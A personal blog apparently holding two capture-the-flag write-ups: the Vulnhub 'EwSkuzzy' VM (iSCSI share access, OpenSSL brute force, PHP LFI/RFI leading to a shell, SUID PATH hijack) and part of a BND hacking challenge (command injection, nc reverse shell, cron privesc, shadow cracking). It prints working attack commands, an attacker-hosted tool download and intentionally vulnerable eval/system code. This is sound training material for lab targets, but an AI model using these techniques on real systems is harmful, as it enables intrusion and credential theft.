Ewwww SCSI (EwSkuzzy @vulnhub)

Another Vulnhub VM: EwSkuzzy form @vortexau

Bildschirmfoto 2017-03-21 um 12.17.23.png

So last evening I decided its time for another Vulnhub. Luckily someone in #vulnhub was discussing EwSkuzzy!

As the vulnhub.com description warned that it might be problematic in VMware I was glad that VMware Fusion imported it just fine!

Only issue I ran into was that no network interface was configured in VMware by default so I was happy to see that singleuser mode was not protected by password and I could quickly swap the default interface name in /etc/network/interfaces for VMwares ens33.

flag1{unpassworded iSCSI share}

While downloading the VM I thought “skuzzy sounds like SCSI! :D

And I was amused to get the following nmap output:

root@kali:~# nmap -p- -sC -sV 192.168.53.129

Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-21 12:26 CET
Nmap scan report for 192.168.53.129
Host is up (0.00012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 89:c2:ae:12:d6:c5:19:4e:68:4a:28:e9:06:bd:9c:19 (RSA)
|_ 256 f0:0c:ae:37:10:d3:6d:a2:85:3a:77:04:06:94:f8:0a (ECDSA)
80/tcp open http nginx
|_http-server-header: nginx
|_http-title: Welcome!
3260/tcp open iscsi?
|_iscsi-info: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:DF:D6:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.26 seconds

iSCSI \o/

I actually already found insecure iSCSI Shares in Pentests in the wild so I was very curios to see if there is a password unprotected iSCSI Share available on this port.

Lets enumerate:

root@kali:~# iscsiadm -m discovery -t st -p 192.168.53.129
192.168.53.129:3260,1 iqn.2017-02.local.skuzzy:storage.sys0

root@kali:~# iscsiadm -m node -p 192.168.53.129 --login --target iqn.2017-02.local.skuzzy:storage.sys0
Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.53.129,3260] (multiple)
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.53.129,3260] successful.

root@kali:~# mount /dev/sdb /media/temp
root@kali:~# ls /media/temp
bobsdisk.dsk flag1.txt lost+found

root@kali:/media/temp# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}

Let's see how you go with the next one...

We’ve got flag!

flag2{sensitive data in unpassworded ISCSI share}

What do we have here:

root@kali:/media/temp# mount bobsdisk.dsk /media/temp1
root@kali:/media/temp# ls /media/temp1
lost+found ToAlice.csv.enc ToAlice.eml

root@kali:/media/temp# file /media/temp1/ToAlice*
/media/temp1/ToAlice.csv.enc: openssl enc'd data with salted password
/media/temp1/ToAlice.eml: ASCII text, with very long lines

Lets see what bob has to say to alice:

G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly. My favourite new Spanish swear came in handy when this happened... supercalifragilisticoespialidoso !

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. The key is, well, one awesome word I learnt in my recent Spanish classes!

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

flag3{not protection encryption keys}

Okay from Bobs mail to Alice we know:

  • Bob does not like to be used as a crypto-rolemodel
  • He used symetric crypto (openssl) to encrypt his attachment to alice
  • His password was likely  “supercalifragilisticoespialidoso”
  • This password likely also exists in the rockyou wordlist

So lets verify this:

To bruteforce the password I used “brutforce-salted-openssl” from this github repo.

One git clone later:

root@kali:/opt/bruteforce-salted-openssl# bruteforce-salted-openssl -t 9 -f /usr/share/wordlists/rockyou.txt -d sha256 -c aes256 /media/temp1/ToAlice.csv.enc
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 3475548
Tried passwords per second: 868887.000000
Last tried password: supercOOl
Password candidate: supercalifragilisticoespialidoso

Supercali-BINGO!

Now lets look inside the csv:

root@kali:/media/temp# openssl enc -d -aes256 -salt -in /media/temp1/ToAlice.csv.enc -out /tmp/output.csv
enter aes-256-cbc decryption password:

root@kali:/media/temp# cat /tmp/output.csv 
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! 
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?

Note for later how it says that flag3 is a URL. How long is this string?

flag4{beating the old php pony}

A nice decoy site on the first URL from the CSV:

Bildschirmfoto 2017-03-21 um 13.36.03.png

Some more decoy b64 string in the source, however I leave this for the eager writers to document ;)

Lets look behind door nr. 2:

Bildschirmfoto 2017-03-21 um 13.39.20.png

Nice! A selfwritten php website, this looks promising! :)

Oh no he did’t:

 

 

OH NOES *shockedface*:

Bildschirmfoto 2017-03-21 um 13.44.24.png

LFI’ception!

My guess is that the $_GET[‘p’] is a php include so lets try to read some sourcecode php filter style:

root@kali:/media/temp# curl http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=php://filter/convert.base64-encode/resource=flag.php
<!DOCTYPE html>
<html>
<head>
<title>I think you're on the right track now!</title>
<style>
div.container {
width: 100%;
border: 1px solid gray;
}

header, footer {
padding: 1em;
...
...
boring, shortened
...
...
overflow: hidden;
}
</style>
</head>
<body>
<div class="container">

&nbsp;

<header>
<h1>My great web-app!</h1>
&nbsp;

</header>&nbsp;
<ul>
<ul>
 	<li><a href="?p=welcome">Welcome</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=flag">Flag</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=party">Let's Party!</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=reader">Feed Reader</a></li>
</ul>
</ul>
&nbsp;

&nbsp;

<article>PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==</article>&nbsp;

<footer>Hack the Planet!</footer>&nbsp;

</div>
&lt;/body&gt; &lt;/html&gt;

&nbsp;

Lets look at the source of flag.php:

root@kali:/media/temp# echo "PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==" | base64 -d
&lt;?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?&gt;
&lt;h1&gt;Flag&lt;/h1&gt;
&lt;p&gt;Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?&lt;/p&gt;
&lt;img src="trollface.png" /&gt;
&lt;?php
// Ok, ok. Here's your flag! 
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
// 
// Well done, you're doing great so far!
// Next step. SHELL!
//
// 
// Oh. That flag above? You're gonna need it... 
?&gt;

We’ve got flag!

And another hint!

flag5{from shell over suid to root}

Last flag it is!

But First we need shell! I like shells!

Lets look at this strange reader.php:

root@kali:/media/temp# curl http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=php://filter/convert.base64-encode/resource=reader.php
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
...nothing to see here, move along...
&lt;/head&gt;
&lt;body&gt;</pre>
<div class="container">

&nbsp;

<header>
<h1>My great web-app!</h1>
&nbsp;

</header>&nbsp;
<ul>
<ul>
 	<li><a href="?p=welcome">Welcome</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=flag">Flag</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=party">Let's Party!</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=reader">Feed Reader</a></li>
</ul>
</ul>
&nbsp;

&nbsp;

<article>PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmVlZCBSZWFkZXI8L2gxPgo8P3BocAppZihpc3NldCgkX0dFVFsndXJsJ10pKSB7CiAgICAkdXJsID0gJF9HRVRbJ3VybCddOwp9IGVsc2UgewogICAgcHJpbnQoIjxhIGhyZWY9XCI/cD1yZWFkZXImdXJsPWh0dHA6Ly8xMjcuMC4wLjEvYzI0NDQ5MTA3OTRlMDM3ZWJkOGFhZjI1NzE3OGM5MGIvZGF0YS50eHRcIj5Mb2FkIEZlZWQ8L2E+Iik7Cn0KCmlmKGlzc2V0KCR1cmwpICYmIHN0cmxlbigkdXJsKSAhPSAnJykgewoKICAgIC8vIFNldHVwIHNvbWUgdmFyaWFibGVzLgogICAgJHNlY3JldG9rID0gZmFsc2U7CiAgICAka2V5bmVlZGVkID0gdHJ1ZTsKCiAgICAvLyBMb2NhbGhvc3QgYXMgYSBzb3VyY2UgZG9lc24ndCBuZWVkIHRvIHVzZSB0aGUga2V5LgogICAgaWYocHJlZ19tYXRjaCgiI15odHRwOi8vMTI3LjAuMC4xIyIsICR1cmwpKSB7CiAgICAgICAgJGtleW5lZWRlZCA9IGZhbHNlOwogICAgICAgICRzZWNyZXRvayA9IHRydWU7CiAgICB9CgogICAgLy8gSGFuZGxlIHRoZSBrZXkgdmFsaWRhdGlvbiB3aGVuIGl0J3MgbmVlZGVkLgogICAgaWYoJGtleW5lZWRlZCkgewogICAgICAgICRrZXkgPSAkX0dFVFsna2V5J107CiAgICAgICAgaWYoaXNfYXJyYXkoJGtleSkpIHsKICAgICAgICAgICAgZGllKCJBcnJheSB0cmljayBpcyBtaXRpZ2F0ZWQgOykiKTsKICAgICAgICB9CiAgICAgICAgaWYoaXNzZXQoJGtleSkgJiYgc3RybGVuKCRrZXkpID09ICc0NycpIHsKCSAgICAkaGFzaGVka2V5ID0gaGFzaCgnc2hhMjU2JywgJGtleSk7CiAgICAgICAgICAgICRzZWNyZXQgPSAiNWNjZDBkYmRlZWZiZWUwNzhiODhhNmU1MmRiOGMxY2FhOGRkODMxNWYyMjdmZTFlNmFlZTZiY2I2ZGI2MzY1NiI7CgogICAgICAgICAgICAvLyBJZiB5b3UgY2FuIHVzZSB0aGUgZm9sbG93aW5nIGNvZGUgZm9yIGEgdGltaW5nIGF0dGFjawogICAgICAgICAgICAvLyB0aGVuIGdvb2QgbHVjayA6KSBCdXQuLiBZb3UgaGF2ZSB0aGUgc291cmNlIGFueXdheSwgcmlnaHQ/IDopIAoJICAgIGlmKHN0cmNtcCgkaGFzaGVka2V5LCAkc2VjcmV0KSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkc2VjcmV0b2sgPSB0cnVlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZGllKCJTb3JyeS4uLiBBdXRoZW50aWNhdGlvbiBmYWlsZWQuIEtleSB3YXMgaW52YWxpZC4iKTsKCSAgICB9CgogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRpZSgiQXV0aGVudGljYXRpb24gaW52YWxpZC4gWW91IG1pZ2h0IG5lZWQgYSBrZXkuIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEp1c3QgdG8gbWFrZSBzdXJlIHRoZSBhYm92ZSBrZXkgY2hlY2sgd2FzIHBhc3NlZC4KICAgIGlmKCEkc2VjcmV0b2spIHsKICAgICAgICBkaWUoIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIGF1dGhlbnRpY2F0aW9uIHByb2Nlc3MiKTsKICAgIH0KCiAgICAvLyBOb3cgbG9hZCB0aGUgY29udGVudHMgb2YgdGhlIGZpbGUgd2UgYXJlIHJlYWRpbmcsIGFuZCBwYXJzZQogICAgLy8gdGhlIHN1cGVyIGF3ZXNvbWVuZXNzIG9mIGl0cyBjb250ZW50cyEKICAgICRmID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CgogICAgJHRleHQgPSBwcmVnX3NwbGl0KCIvIyN0ZXh0IyMvcyIsICRmKTsKCiAgICBpZihpc3NldCgkdGV4dFsnMSddKSAmJiBzdHJsZW4oJHRleHRbJzEnXSkgPiAwKSB7CiAgICAgICAgcHJpbnQoJHRleHRbJzEnXSk7CiAgICB9CgogICAgcHJpbnQgIjxiciAvPjxiciAvPiI7CgogICAgJHBocCA9IHByZWdfc3BsaXQoIi8jI3BocCMjL3MiLCAkZik7CgogICAgaWYoaXNzZXQoJHBocFsnMSddKSAmJiBzdHJsZW4oJHBocFsnMSddKSA+IDApIHsgCiAgICAgICAgZXZhbCgkcGhwWycxJ10pOwogICAgICAgIC8vICJJZiBFdmFsIGlzIHRoZSBhbnN3ZXIsIHlvdSdyZSBhc2tpbmcgdGhlIHdyb25nIHF1ZXN0aW9uISIgLSBTRwogICAgICAgIC8vIEl0IGh1cnRzIG1lIHRvIHdyaXRlIGluc2VjdXJlIGNvZGUgbGlrZSB0aGlzLCBidXQgaXQgaXMgaW4gdGhlCiAgICAgICAgLy8gbmFtZSBvZiBlZHVjYXRpb24sIGFuZCBGVU4sIHNvIEknbGwgbGV0IGl0IHNsaWRlIHRoaXMgdGltZS4KICAgIH0KfQoK</article>&nbsp;

<footer>Hack the Planet!</footer>&nbsp;

</div>
&lt;/body&gt; &lt;/html&gt;

 

Bildschirmfoto 2017-03-21 um 13.51.56.png

Lets read it:

root@kali:/media/temp# echo "PD9w...insert long string here...KfQoK" | base64 -d
&lt;?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?&gt;
&lt;h1&gt;Feed Reader&lt;/h1&gt;
&lt;?php
if(isset($_GET['url'])) {
 $url = $_GET['url'];
} else {
 print("&lt;a href=\"?p=reader&amp;url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\"&gt;Load Feed&lt;/a&gt;");
}

if(isset($url) &amp;&amp; strlen($url) != '') {

 // Setup some variables.
 $secretok = false;
 $keyneeded = true;

 // Localhost as a source doesn't need to use the key.
 if(preg_match("#^http://127.0.0.1#", $url)) {
 $keyneeded = false;
 $secretok = true;
 }

 // Handle the key validation when it's needed.
 if($keyneeded) {
 $key = $_GET['key'];
 if(is_array($key)) {
 die("Array trick is mitigated ;)");
 }
 if(isset($key) &amp;&amp; strlen($key) == '47') {
 $hashedkey = hash('sha256', $key);
 $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

 // If you can use the following code for a timing attack
 // then good luck :) But.. You have the source anyway, right? :) 
 if(strcmp($hashedkey, $secret) == 0) {
 $secretok = true;
 } else {
 die("Sorry... Authentication failed. Key was invalid.");
 }

 } else {
 die("Authentication invalid. You might need a key.");
 }
 }

 // Just to make sure the above key check was passed.
 if(!$secretok) {
 die("Something went wrong with the authentication process");
 }

 // Now load the contents of the file we are reading, and parse
 // the super awesomeness of its contents!
 $f = file_get_contents($url);

 $text = preg_split("/##text##/s", $f);

 if(isset($text['1']) &amp;&amp; strlen($text['1']) &gt; 0) {
 print($text['1']);
 }

 print "&lt;br /&gt;&lt;br /&gt;";

 $php = preg_split("/##php##/s", $f);

 if(isset($php['1']) &amp;&amp; strlen($php['1']) &gt; 0) { 
 eval($php['1']);
 // "If Eval is the answer, you're asking the wrong question!" - SG
 // It hurts me to write insecure code like this, but it is in the
 // name of education, and FUN, so I'll let it slide this time.
 }
}

So we can probably do RFI with the feed reader URL:

http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

Lets test without the key:

Bildschirmfoto 2017-03-21 um 13.57.23.png

Now lets test a random 47digit key:

Bildschirmfoto 2017-03-21 um 13.59.15.png

Now if we only had a 47 digit key already from somewhere 🤔

Btw: I tried to bruteforce the sha256 hash from the php source but when hashcat told me 47 digits will take >10 years and I had no luck with rockyou.txt or linkedin.txt I remembered all the previous spoiler/hints:

Bildschirmfoto 2017-03-21 um 14.02.06.png

Bildschirmfoto 2017-03-21 um 14.02.26.png

Bildschirmfoto 2017-03-21 um 14.02.38.png

Guess what? The entire flag-string is 47 digits and with flag4{…} it finally worked:

Bildschirmfoto 2017-03-21 um 14.06.44.png

So lets provide some php code in the correct format the reader.php source expects:

Bildschirmfoto 2017-03-21 um 14.09.07.png

And we’ve got shell:

Bildschirmfoto 2017-03-21 um 14.21.09.png

Now lets do some basic privesc enumeration:

$ cd /tmp
$ wget http://192.168.53.131/linux-privtools.tar
--2017-03-22 00:01:56-- http://192.168.53.131/linux-privtools.tar
Connecting to 192.168.53.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 133120 (130K) [application/x-tar]
Saving to: 'linux-privtools.tar'

 0K .......... .......... .......... .......... .......... 38% 29.6M 0s
 50K .......... .......... .......... .......... .......... 76% 28.6M 0s
 100K .......... .......... .......... 100% 28.5M=0.004s

2017-03-22 00:01:56 (29.0 MB/s) - 'linux-privtools.tar' saved [133120/133120]

$ tar xf linux-privtools.tar
$ chmod +x LinEnum.sh 

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# 

Debug Info
thorough tests = enabled


Scan started at:
Wed Mar 22 00:05:56 ACDT 2017


### SYSTEM ##############################################
Kernel information:
Linux skuzzy 4.4.0-64-generic #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux


Kernel information (continued):
Linux version 4.4.0-64-generic (buildd@lgw01-56) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017


Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial


Hostname:
skuzzy

...
Lots more findings!
...

SUID files:
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/sudo
/bin/fusermount
/bin/mount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/ping6
/bin/umount
/opt/alicebackup
...

Here we go, a SUID file called alicebackup!

Lets strings it:

$ strings /opt/alicebackup 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
setgid
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
=i 
=J 
AWAVA
AUATL
[]A\A]A^A_
scp /tmp/special bob@alice.home:~
;*3$"
GCC: (Debian 6.3.0-6) 6.3.0 20170205
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6962
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
root.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@@GLIBC_2.2.5
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

What do we have here, a relative call to scp:

scp /tmp/special bob@alice.home:~

Lets export /tmp to path and place our own scp file there:

Bildschirmfoto 2017-03-21 um 14.43.05.png

The end…

This was a really fun VM, straight forward or nice hints at the right moments.

Thanks alot @vortexau!

BR
Sebastian

 

Posted in boot2root, vulnhub | Leave a comment

BND Forensic Challenge – Cyber all the things

When the German Intelligence Service: Bundesnachrichtendienst (short BND) releases a hacking challenge as job application all bad media storm breaks lose:

Bildschirmfoto 2017-03-03 um 00.13.14.png

“Solve this challenge to become a spy”

I did not care much for the RE challenge a couple of months ago but as someone showed me an article at work over lunch from a Linux Terminal I knew basic pentesting skills need application!

And the sign said, ‘ Long haired freaky people need not apply’

So lets get this started! Scenario:

Bildschirmfoto 2017-03-02 um 23.09.48.png

Basically it says that a friendly intelligence service asks for help in a case of a hacked state insurance companies webserver that got owned.

  • You are provided with a lowpriv user (hacker:abcd1234)
  • Look for the flaw in the webapp
  • Attackers stored loot from other companies on the server

Admins were able to crack a password but not somehow not able to mount the hdd (lol) and look at the data which is not encrypted but just moved in a directory only readable by root which had his password changed…

But actually I get it. This is just a little challenge as a job intro starter, so thats okay!

Goal Overview:

Bildschirmfoto 2017-03-02 um 23.13.18.png

  1. How could the attackers gain access? (shell)
  2. How could the attackers gain root privileges? (privesc)
  3. What kind of stolen data was parked on the Server? (Kevin, was this you… ?)

 

Goal 1: How could the attackers gain access? (shell)

Bildschirmfoto 2017-03-02 um 23.17.53.png

Describe the Vulnerability that was used by the hackers to infiltrate the system. What kind of vulnerability was used? Provide a Proof-of-Concept with your answer.

So lets fire up the VM:

Bildschirmfoto 2017-03-02 um 23.21.20.png

So getting the network connectivity for the VM worked out is not part of the challenge ;)
Also you already start with a low priv user which is more than you get with your average vulnhub Boot2Root VM.

Checking out the ransom Note on the Webserver:

Bildschirmfoto 2017-03-02 um 23.25.24.png

In the the www-root you can find the original website as well:

hacker@debian:/var/www/html$ cat originalIndex.php
<?php
if($_GET['password'] != "" && $_GET['file'] != "") {
$command = "/home/readFile ".$_GET['password']." insurances/".$_GET['file'];
}
?>
<html>
<head>
<style>
body {margin: 0;}
.customerAccess {animation-name: customerAnimation; animation-duration: 2s; position: relative; width: 50%; height: 50%; left: 25%; top: 0px;}
.home {animation-name: homeanimation; animation-duration: 2s; position: relative; left:45%; top:0px; width: 200px; height: 100px;}
input[type=text], select, input[type=password] {width: 100%; padding: 12px, 20px; margin: 8px 0; display: inline-block; border: 1px; solid #ccc; border-radius: 4px; box-sizing: border-box;}
@keyframes customerAnimation {0% {left:-50%; top: 0px;} 100% {left:25%; top:0px;}}
@keyframes homeanimation {0% {left:0px;top:0px;} 100% {left:45%;top:0px;}}
input[type=text]:focus, input[type=password]:focus {background-color: #DDDEEE;}
@keyframes example {0% {background-color: white;} 100% {background-color:#CCCCCC}}
table {border-collapse: collapse;}
td, th {border: 0px solid #dddddd;}
.button:hover {background-color: #888888;}
.button {background-color: #aaaaaa; border: none; color: white; padding: 5px 32px; text-align: center; text-decoration: none; display: inline-block; margin: 4px 2px; cursor: pointer; border-radius: 5px; width: 100%;}
a:link {color: blue;}
a:visited {color: white;}
a:hover {color:red;}
.overlay {height: 100%; width: 0; position: fixed; z-index: 1; top: 0; left: 0; background-color: rgb(0,0,0); background-color: rgba(0,0,0,0.9); overflow-x: hidden; transition: 0.5s;}
.overlay-content {position: relative; top: 25%; width: 100%; text-align: center; margin-top: 30px;}
.overlay a {padding: 8px; text-decoration: none; font-size: 36px; color: #818181; display: block; transition: 0.3s;}
.overlay a:hover, overlay a:focus {color: #f1f1f1;}
.overlay .closebtn {position: absolute; top: 20px; right: 45px;}
@media screen and (max-height: 450px) {.overlay a {font-size: 20px} .overlay .closebtn {font-size: 40px; top: 15px; right: 35px;}
</style>
<title>Mountain Security</title>

function change(i) {
var newContent = "";
if(i == 1) {
document.getElementById("co").style="animation-name: example; animation-duration: 2s; background-color: #CCCCCC";
newContent = "
...
...
...

So the answer to the first question is quite obvious from this two blocks:

bildschirmfoto-2017-03-03-um-00-28-40

and later on:

bildschirmfoto-2017-03-03-um-00-27-32

 

 

So the Answer to the first question is quite easy: 

The Website did not do any user input validation and just passed user input to the php system() function which leads to OS Command injection (OWASP Top 10 A1-Injection).

Basically we just need to append a second command in the $command variable, so I intercepted the website with burp and added a “; id” for the first try:

Bildschirmfoto 2017-03-02 um 21.34.59.png

“; id” was URL encoded for this:

Bildschirmfoto 2017-03-02 um 21.35.19.png

Know that we have OS Command injection a shell was easily obtained as nc is installed on the webserver:

URLEncode the command:Bildschirmfoto 2017-03-02 um 21.40.10.png

Alter the second HTTP_GET parameter (POC):Bildschirmfoto 2017-03-02 um 21.40.21.png

Obtain a limited www-data shell:

Bildschirmfoto 2017-03-02 um 21.42.49.png

 

Now looking around on the system and investigating the websites further you can find some interesting details:

A hardcoded password in a c file:

Bildschirmfoto 2017-03-02 um 22.02.50.png

Data exfil was also possible via the website logic:

Bildschirmfoto 2017-03-02 um 22.09.31.png

Basically you notice that the Challenge was prepared on a very basic level, which is okay as it fits the goal I guess…

Goal 2: How could the attackers gain root privileges? (privesc)

Bildschirmfoto 2017-03-02 um 23.48.23.png

  • How did the attackers obtain root privileges
  • Describe the Vulnerability and obtain the new root-password

To solve this I looked a bit around on the box and finally started to transfer the usual privesc checker scripts:

unix-prives-check

linuxprivchecker.py

LinEnum.sh

linuxprivchecker.py showed me a bad cronjob eventually:

Bildschirmfoto 2017-03-02 um 22.18.31.png

This is as easy as linux privesc gets…

For testing purposes I let it touch a file in tmp:

Bildschirmfoto 2017-03-02 um 22.19.05.png

Then straight forward nc reverse shell again:

Bildschirmfoto 2017-03-02 um 22.21.32.png

Back to the roots:

Bildschirmfoto 2017-03-02 um 23.47.17.png

Obtain the shadow file:

Bildschirmfoto 2017-03-02 um 23.49.41.png

And feed it to john:

Bildschirmfoto 2017-03-03 um 00.05.19.png

This password was obtained from the file /home/root/Rul0rzZrootPw (see next Question).

 

